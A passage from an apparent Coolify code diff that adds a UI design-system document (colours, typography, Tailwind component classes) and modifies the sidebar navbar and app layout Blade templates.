(placeholders). + +### Dark-mode heading rule (critical) + +Body default text in dark mode is `neutral-400 #a3a3a3`. Headings and card titles MUST explicitly force `text-white` — otherwise they render near-invisible on `coolgray-100 #181818`. This is enforced globally: `h1–h4` all have `dark:text-white` in `app.css`. + +### Default border override + +Tailwind v4 defaults `border-color` to `currentcolor`. Coolify overrides it in `@layer base`: + +```css +*, ::after, ::before, ::backdrop, ::file-selector-button { + border-color: var(--color-coolgray-200, currentcolor); +} +``` + +So any `border` utility without an explicit color gets `coolgray-200 #202020` in dark mode. + +## Typography + +Fonts loaded in `resources/css/fonts.css` (all `woff2`, `font-display: swap`): + +- **Geist Sans** — primary UI font. Variable weight `100 900`. Inter as fallback (static weights 100–900). +- **Geist Mono** — monospace for code, logs, textareas. Variable weight `100 900`. + +Applied via `@theme`: + +```css +--font-sans: 'Geist Sans', Inter, sans-serif; +--font-mono: 'Geist Mono', 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo, monospace; +--font-logs: 'Geist Mono', 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo, monospace; +``` + +### Heading hierarchy (Tailwind utilities) + +| Element | Utility | +|---|---| +| `h1` | `text-3xl font-bold dark:text-white` | +| `h2` | `text-xl font-bold dark:text-white` | +| `h3` | `text-lg font-bold dark:text-white` | +| `h4` | `text-base font-bold dark:text-white` | + +### Body + +| Context | Utility | +|---|---| +| Body default | `text-sm font-sans antialiased` | +| Label | `text-sm font-medium` | +| Badge / status text | `text-xs font-bold` | +| Box description | `text-xs font-bold text-neutral-500` | +| Caption / kbd | `text-xs` | + +## Layout + +Fixed left sidebar layout on desktop. Mobile collapses to a sticky top bar with hamburger menu overlay. + +### Structure + +- **Sidebar** — fixed, `w-56` (14rem / 224px), `hidden lg:flex`. Inner `flex flex-col overflow-y-auto gap-y-5 scrollbar`. Nav `bg-white dark:bg-base border-r`. +- **Main content** — `lg:pl-56` offset. Inner padding `p-4 sm:px-6 lg:px-8 lg:py-6`. +- **Mobile top bar** — `sticky top-0 z-40 lg:hidden` with `bg-white/95 dark:bg-base/95 backdrop-blur-sm`. + +### Spacing scale + +| Token | Value | Use | +|---|---|---| +| `p-2` | 0.5rem | Component internal padding | +| `p-4` | 1rem | Callout padding | +| `py-1.5` | 0.375rem | Input vertical padding | +| `h-8` | 2rem | Button height | +| `px-2` | 0.5rem | Button horizontal padding | +| `gap-2` | 0.5rem | Button gap | +| `px-2 py-1` | 0.25rem / 0.5rem | Menu item padding | +| `gap-3` | 0.75rem | Menu item gap | +| `mb-12` | 3rem | Section margin | +| `min-h-[4rem]` | 4rem | Card min-height | + +No grid system — flex layouts everywhere. + +## Elevation & Depth + +**Flat + tonal.** Hierarchy comes from background color, not shadows. + +### Dark tonal ladder + +``` +#101010 (base) page background + #181818 (coolgray-100) cards, inputs, components + #202020 (coolgray-200) elevated surfaces, borders, nav active + #242424 (coolgray-300) input borders, button borders + #282828 (coolgray-400) tooltips, hover states + #323232 (coolgray-500) subtle overlays +``` + +### Light tonal ladder + +``` +#f9fafb (gray-50) page background + #ffffff (white) cards, inputs, components + #e5e5e5 (neutral-200) borders + #f5f5f5 (neutral-100) hover backgrounds + #d4d4d4 (neutral-300) deeper hover, nav active +``` + +### Shadows (used sparingly) + +- Boxes: `shadow-sm` (`0 1px 2px 0 rgba(0,0,0,0.05)`) +- Toasts: `shadow-[0_5px_15px_-3px_rgb(0_0_0_/_0.08)]` +- Slide-over: `shadow-lg` +- Modal-input: `drop-shadow-sm` + +### Input inset box-shadow system (distinctive) + +Inputs and selects use `box-shadow` instead of `border` — this enables the 4px left dirty-bar indicator: + +```css +/* default */ box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5; +/* default dark */ inset 4px 0 0 transparent, inset 0 0 0 2px #242424; +/* focus light */ inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5; +/* focus dark */ inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424; +/* dirty (same as focus) — set via wire:dirty.class */ +/* disabled / readonly */ box-shadow: none; +``` + +Variant `input-sticky` uses `1px` outer shadow instead of `2px`. + +### Focus ring (buttons, links, checkboxes, non-input) + +`focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base` + +## Shapes + +- **Default** — `rounded-sm` (2px). Everything: inputs, buttons, cards, modals, toasts, dropdowns. +- **Coolbox** — `rounded` (4px). Alternate card style with ring-hover. +- **Callouts** — `rounded-lg` (8px). Only exception to the sharp rule. +- **Badges / deprecated badge / pills / avatars** — `rounded-full`. + +Never mix radii within the same view. + +## Components + +All component classes live in `resources/css/utilities.css` as `@utility` blocks, consumed by Blade components under `resources/views/components/`. + +### Forms + +#### Button + +Utility `.button` (`resources/css/utilities.css`): + +``` +flex gap-2 justify-center items-center px-2 h-8 text-sm text-black normal-case rounded-sm border-2 outline-0 cursor-pointer font-medium bg-white border-neutral-200 hover:bg-neutral-100 dark:bg-coolgray-100 dark:text-white dark:hover:text-white dark:hover:bg-coolgray-200 dark:border-coolgray-300 hover:text-black disabled:cursor-not-allowed min-w-fit dark:disabled:text-neutral-600 disabled:border-transparent disabled:hover:bg-transparent disabled:bg-transparent disabled:text-neutral-300 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +Attribute variants (in `app.css`): + +- `button[isHighlighted]` → `text-coollabs-200 dark:text-white bg-coollabs-50 dark:bg-coollabs/20 border-coollabs dark:border-coollabs-100 hover:bg-coollabs hover:text-white dark:hover:bg-coollabs-100 dark:hover:text-white` +- `button[isError]` → `text-red-800 dark:text-red-300 bg-red-50 dark:bg-red-900/30 border-red-300 dark:border-red-800 hover:bg-red-300 hover:text-white dark:hover:bg-red-800 dark:hover:text-white` + +Loading: `` — inline `w-4 h-4 dark:text-warning animate-spin` SVG. + +#### Input + +Utility chain `.input-select` → `.input`: + +``` +block py-1.5 w-full text-sm text-black rounded-sm border-0 dark:bg-coolgray-100 dark:text-white disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200 dark:read-only:text-neutral-500 dark:read-only:bg-coolgray-100/40 focus-visible:outline-none +``` + +Plus the inset box-shadow system (see Elevation). Password variant: `.input[type="password"]` gets `pr-[2.4rem]` for the eye icon. + +**Dirty indicator.** Livewire sets the focus-colored shadow via `wire:dirty.class`: + +```blade +wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" +``` + +Variant `.input-sticky` — same shape, `1px` outer shadow (thinner border). + +#### Select + +Extends `.input-select` + custom SVG dropdown arrow: + +```css +background-image: url("data:image/svg+xml,...stroke='%23000000'..."); +padding-right: 2.5rem; +``` + +Dark mode swaps the SVG stroke to `%23ffffff`. + +#### Checkbox + +Input class: +``` +dark:border-neutral-700 text-coolgray-400 dark:bg-coolgray-100 rounded-sm cursor-pointer dark:disabled:bg-base dark:disabled:cursor-not-allowed focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base +``` + +Container: +``` +form-control flex max-w-full flex-row items-center gap-4 py-1 pr-2 dark:hover:bg-coolgray-100 cursor-pointer +``` + +#### Textarea + +Uses the same `input` utility + `font-mono` + dirty-bar via `wire:dirty.class` (identical to input). Optional `@keydown.tab=handleKeydown` inserts 2 spaces on Tab. + +#### Copy-Button + +`resources/views/components/forms/copy-button.blade.php` — readonly `.input` with an absolute-positioned copy icon right-side. Copied state shows a green check (`text-green-500`) for 1 second. Only renders in secure contexts (`window.isSecureContext`). + +### Containers + +#### Box + +Utility `.box`: +``` +relative flex lg:flex-row flex-col p-2 transition-colors cursor-pointer min-h-[4rem] dark:bg-coolgray-100 shadow-sm bg-white border text-black dark:text-white hover:text-black border-neutral-200 dark:border-coolgray-300 hover:bg-neutral-100 dark:hover:bg-coollabs-100 dark:hover:text-white hover:no-underline rounded-sm +``` + +**Critical child text rule.** On dark hover, background becomes purple `#7317ff` — description text `#737373` disappears. Utilities `.box-title` and `.box-description` include `dark:group-hover:text-white group-hover:text-black` to flip text contrast. + +Variants: `.box-boarding`, `.box-without-bg`, `.box-without-bg-without-border`. + +#### Coolbox + +Utility `.coolbox`: +``` +relative flex transition-all duration-150 dark:bg-coolgray-100 bg-white p-2 rounded border border-neutral-200 dark:border-coolgray-400 hover:ring-2 dark:hover:ring-warning hover:ring-coollabs cursor-pointer min-h-[4rem] +``` + +Distinguished by `rounded` (4px, not 2px) and **ring-hover** instead of background change. + +### Status & Badges + +#### Badge base + +``` +inline-block w-3 h-3 text-xs font-bold rounded-full leading-none border border-neutral-200 dark:border-black +``` + +Fill utilities: `.badge-success` (`bg-success`), `.badge-warning` (`bg-warning`), `.badge-error` (`bg-error`). Dashboard variant `.badge-dashboard` is `absolute top-1 right-1 w-2.5 h-2.5`. + +#### Status indicator pattern + +Badge + label side-by-side. Components in `resources/views/components/status/`: + +| Component | Badge | Text color | Loading? | +|---|---|---|---| +| `status/running` | `badge-success` | `text-success` (`#22C55E`) | Swaps to `badge-warning` while checking proxy | +| `status/degraded` | `badge-warning` | `dark:text-warning` (`#fcd452`) | `` + `wire:loading.delay.longer` | +| `status/restarting` | `badge-warning` | `dark:text-warning` | `` | +| `status/stopped` | `badge-error` | `text-error` (`#dc2626`) | `` | + +Layout: `
` → badge → `
{label}
` → optional `({health})` in same color. + +#### Deprecated Badge + +`resources/views/components/deprecated-badge.blade.php`: +``` +px-2 py-0.5 text-xs font-medium leading-normal rounded-full bg-warning/15 text-warning border border-warning/30 +``` + +#### Tag + +Utility `.tag`: +``` +px-2 py-1 cursor-pointer box-description dark:bg-coolgray-100 dark:hover:bg-coolgray-300 bg-neutral-100 hover:bg-neutral-200 +``` + +### Overlays + +#### Callout + +Four types (`warning`, `danger`, `info`, `success`). Base: `relative p-4 border rounded-lg`. + +| Type | Background | Border | Title text | Body text | +|---|---|---|---|---| +| warning | `bg-warning-50 dark:bg-warning-900/30` | `border-warning-300 dark:border-warning-800` | `text-warning-800 dark:text-warning-300` | `text-warning-700 dark:text-warning-200` | +| danger | `bg-red-50 dark:bg-red-900/30` | `border-red-300 dark:border-red-800` | `text-red-800 dark:text-red-300` | `text-red-700 dark:text-red-200` | +| info | `bg-blue-50 dark:bg-blue-900/30` | `border-blue-300 dark:border-blue-800` | `text-blue-800 dark:text-blue-300` | `text-blue-700 dark:text-blue-200` | +| success | `bg-green-50 dark:bg-green-900/30` | `border-green-300 dark:border-green-800` | `text-green-800 dark:text-green-300` | `text-green-700 dark:text-green-200` | + +Icon colors (600 light / 400 dark) match type. + +#### Modal (input variant) + +`resources/views/components/modal.blade.php`: +``` +relative w-full lg:w-auto lg:min-w-2xl lg:max-w-4xl border rounded-sm drop-shadow-sm bg-white border-neutral-200 dark:bg-base dark:border-coolgray-300 flex flex-col +``` + +Backdrop: `bg-black/20 backdrop-blur-xs`. Close button: `w-8 h-8 rounded-full hover:bg-neutral-100 dark:hover:bg-coolgray-300` top-right, 24px `stroke-width=1.5` X icon. + +#### Modal Confirmation + +`resources/views/components/modal-confirmation.blade.php` — destructive-action 2-or-3-step wizard (checkboxes → confirm text → password): +``` +relative w-full border rounded-none sm:rounded-sm min-w-full lg:min-w-[36rem] max-w-full sm:max-w-[48rem] h-screen sm:h-auto max-h-screen sm:max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col +``` + +Uses `` for warning. Password step hidden for OAuth users. + +#### Confirm Modal + +`resources/views/components/confirm-modal.blade.php` — Livewire-bound simpler confirm dialog. + +#### Popup / Popup-Small + +Fixed bottom-right notification card with title / description / action button. `bg-white dark:bg-coolgray-100 border dark:border-coolgray-300 shadow-lg sm:rounded-sm`. Popup is responsive max-w-4xl, Popup-Small is `max-w-[46rem]`. + +#### Slide-Over + +`resources/views/components/slide-over.blade.php`: + +Outer: `fixed inset-y-0 right-0 flex max-w-full pl-10` + +Panel: `max-w-xl w-screen flex flex-col h-full py-6 overflow-hidden border-l shadow-lg bg-neutral-50 dark:bg-base dark:border-neutral-800 border-neutral-200` + +#### Toast + +`resources/views/components/toast.blade.php` — Alpine-powered stacked toast system. + +- Container: `fixed ... sm:max-w-xs z-9999`, positioned via `position` param (`top-right` / `top-left` / `top-center` / `bottom-right` / `bottom-left` / `bottom-center`). +- Toast shell: `relative flex flex-col items-start shadow-[0_5px_15px_-3px_rgb(0_0_0_/_0.08)] w-full dark:bg-coolgray-100 bg-white dark:border dark:border-coolgray-200 rounded-sm sm:max-w-xs`. +- Stacks up to 4 (oldest gets scale 82% then burns). +- Auto-dismiss after 4 s. Hover on container pauses dismissal and expands stack. +- HTML payload sanitized via `window.sanitizeHTML` (XSS guard). +- Per-toast copy-to-clipboard + close buttons. + +Icon colors: + +| Type | Class | +|---|---| +| success | `text-green-500` | +| info | `text-blue-500` | +| warning | `text-orange-400` | +| danger | `text-red-500` | +| default | `text-gray-800` | + +#### Helper / Tooltip + +`resources/views/components/helper.blade.php`. Icon utility `.info-helper`: +``` +cursor-pointer text-coollabs dark:text-warning +``` + +Popup utility `.info-helper-popup`: +``` +hidden absolute z-40 text-xs rounded-sm text-neutral-700 group-hover:block dark:border-coolgray-500 border-neutral-900 dark:bg-coolgray-400 bg-neutral-200 dark:text-neutral-300 max-w-sm whitespace-normal break-words +``` + +Shown on parent `.group:hover`. Supports rich HTML (links colored `text-coollabs dark:text-warning underline`). + +### Navigation + +#### Sidebar / Navbar + +Component: `resources/views/components/navbar.blade.php`. + +Root nav: `flex flex-col flex-1 px-2 bg-white border-r dark:border-coolgray-200 border-neutral-300 dark:bg-base` + +Menu list: `flex flex-col flex-1 gap-y-7` → inner `flex flex-col h-full space-y-1.5`. + +Utility `.menu-item`: +``` +flex gap-3 items-center px-2 py-1 w-full text-sm dark:hover:bg-coolgray-100 dark:hover:text-white hover:bg-neutral-300 rounded-sm truncate min-w-0 +``` + +Utility `.menu-item-active`: +``` +text-black rounded-sm dark:bg-coolgray-200 dark:text-warning bg-neutral-200 overflow-hidden +``` + +Icon `.menu-item-icon`: `flex-shrink-0 w-6 h-6 dark:hover:text-white`. Sub-items use `gap-2` + `w-4 h-4` icons. + +#### Breadcrumbs + +`resources/views/components/resources/breadcrumbs.blade.php` — project → environment → resource trail. Desktop: `
- +
+ +
-
+
    @@ -112,7 +139,7 @@ class="{{ request()->is('/') ? 'menu-item-active menu-item' : 'menu-item' }}"> - Dashboard + Dashboard
  • @@ -127,7 +154,7 @@ class="{{ request()->is('project/*') || request()->is('projects') ? 'menu-item m - Projects + Projects
  • @@ -145,7 +172,7 @@ class="{{ request()->is('server/*') || request()->is('servers') ? 'menu-item men - Servers + Servers
  • @@ -157,7 +184,7 @@ class="{{ request()->is('source*') ? 'menu-item-active menu-item' : 'menu-item' - Sources + Sources
  • @@ -170,7 +197,7 @@ class="{{ request()->is('destination*') ? 'menu-item-active menu-item' : 'menu-i stroke-linejoin="round" stroke-width="2" d="M9 4L3 8v12l6-3l6 3l6-4V4l-6 3l-6-3zm-2 8.001V12m4 .001V12m3-2l2 2m2 2l-2-2m0 0l2-2m-2 2l-2 2" /> - Destinations + Destinations
  • @@ -185,7 +212,7 @@ class="{{ request()->is('storages*') ? 'menu-item-active menu-item' : 'menu-item - S3 Storages + S3 Storages
  • @@ -200,7 +227,7 @@ class="{{ request()->is('shared-variables*') ? 'menu-item-active menu-item' : 'm - Shared Variables + Shared Variables
  • @@ -212,7 +239,7 @@ class="{{ request()->is('notifications*') ? 'menu-item-active menu-item' : 'menu stroke-linejoin="round" stroke-width="2" d="M10 5a2 2 0 1 1 4 0a7 7 0 0 1 4 6v3a4 4 0 0 0 2 3H4a4 4 0 0 0 2-3v-3a7 7 0 0 1 4-6M9 17v1a3 3 0 0 0 6 0v-1" /> - Notifications + Notifications
  • @@ -224,7 +251,7 @@ class="{{ request()->is('security*') ? 'menu-item-active menu-item' : 'menu-item stroke-linejoin="round" stroke-width="2" d="m16.555 3.843l3.602 3.602a2.877 2.877 0 0 1 0 4.069l-2.643 2.643a2.877 2.877 0 0 1-4.069 0l-.301-.301l-6.558 6.558a2 2 0 0 1-1.239.578L5.172 21H4a1 1 0 0 1-.993-.883L3 20v-1.172a2 2 0 0 1 .467-1.284l.119-.13L4 17h2v-2h2v-2l2.144-2.144l-.301-.301a2.877 2.877 0 0 1 0-4.069l2.643-2.643a2.877 2.877 0 0 1 4.069 0zM15 9h.01" /> - Keys & Tokens + Keys & Tokens
  • @@ -239,7 +266,7 @@ class="{{ request()->is('tags*') ? 'menu-item-active menu-item' : 'menu-item' }} - Tags + Tags
  • @can('canAccessTerminal') @@ -254,7 +281,7 @@ class="{{ request()->is('terminal*') ? 'menu-item-active menu-item' : 'menu-item - Terminal + Terminal @endcan @@ -270,7 +297,7 @@ class="{{ request()->is('profile*') ? 'menu-item-active menu-item' : 'menu-item' - Profile + Profile
  • @@ -288,7 +315,7 @@ class="{{ request()->is('team*') ? 'menu-item-active menu-item' : 'menu-item' }} - Teams + Teams
  • @if (isCloud() && auth()->user()->isAdmin()) @@ -301,7 +328,7 @@ class="{{ request()->is('subscription*') ? 'menu-item-active menu-item' : 'menu- stroke-linejoin="round" stroke-width="2" d="M3 8a3 3 0 0 1 3-3h12a3 3 0 0 1 3 3v8a3 3 0 0 1-3 3H6a3 3 0 0 1-3-3zm0 2h18M7 15h.01M11 15h2" /> - Subscription + Subscription @endif @@ -319,7 +346,7 @@ class="{{ request()->is('settings*') ? 'menu-item-active menu-item' : 'menu-item d="M10.325 4.317c.426 -1.756 2.924 -1.756 3.35 0a1.724 1.724 0 0 0 2.573 1.066c1.543 -.94 3.31 .826 2.37 2.37a1.724 1.724 0 0 0 1.065 2.572c1.756 .426 1.756 2.924 0 3.35a1.724 1.724 0 0 0 -1.066 2.573c.94 1.543 -.826 3.31 -2.37 2.37a1.724 1.724 0 0 0 -2.572 1.065c-.426 1.756 -2.924 1.756 -3.35 0a1.724 1.724 0 0 0 -2.573 -1.066c-1.543 .94 -3.31 -.826 -2.37 -2.37a1.724 1.724 0 0 0 -1.065 -2.572c-1.756 -.426 -1.756 -2.924 0 -3.35a1.724 1.724 0 0 0 1.066 -2.573c-.94 -1.543 .826 -3.31 2.37 -2.37c1 .608 2.296 .07 2.572 -1.065z" /> - Settings + Settings @endif @@ -333,7 +360,7 @@ class="{{ request()->is('settings*') ? 'menu-item-active menu-item' : 'menu-item - Admin + Admin @endif @@ -341,7 +368,7 @@ class="{{ request()->is('settings*') ? 'menu-item-active menu-item' : 'menu-item
    @if (isInstanceAdmin() && !isCloud()) @persist('upgrade') -
  • +
  • @endpersist @@ -368,7 +395,7 @@ class="{{ request()->is('onboarding*') ? 'menu-item-active menu-item' : 'menu-it d="M12 6L8.707 9.293a1 1 0 0 0 0 1.414l.543.543c.69.69 1.81.69 2.5 0l1-1a3.182 3.182 0 0 1 4.5 0l2.25 2.25m-7 3l2 2M15 13l2 2" /> - Sponsor us + Sponsor us @endif @@ -384,7 +411,7 @@ class="{{ request()->is('onboarding*') ? 'menu-item-active menu-item' : 'menu-it - Feedback + Feedback
@@ -394,15 +421,21 @@ class="{{ request()->is('onboarding*') ? 'menu-item-active menu-item' : 'menu-it
@csrf
+
diff --git a/resources/views/layouts/app.blade.php b/resources/views/layouts/app.blade.php index 93d6fe413..04cda7d63 100644 --- a/resources/views/layouts/app.blade.php +++ b/resources/views/layouts/app.blade.php @@ -10,12 +10,19 @@
@@ -40,10 +47,20 @@
-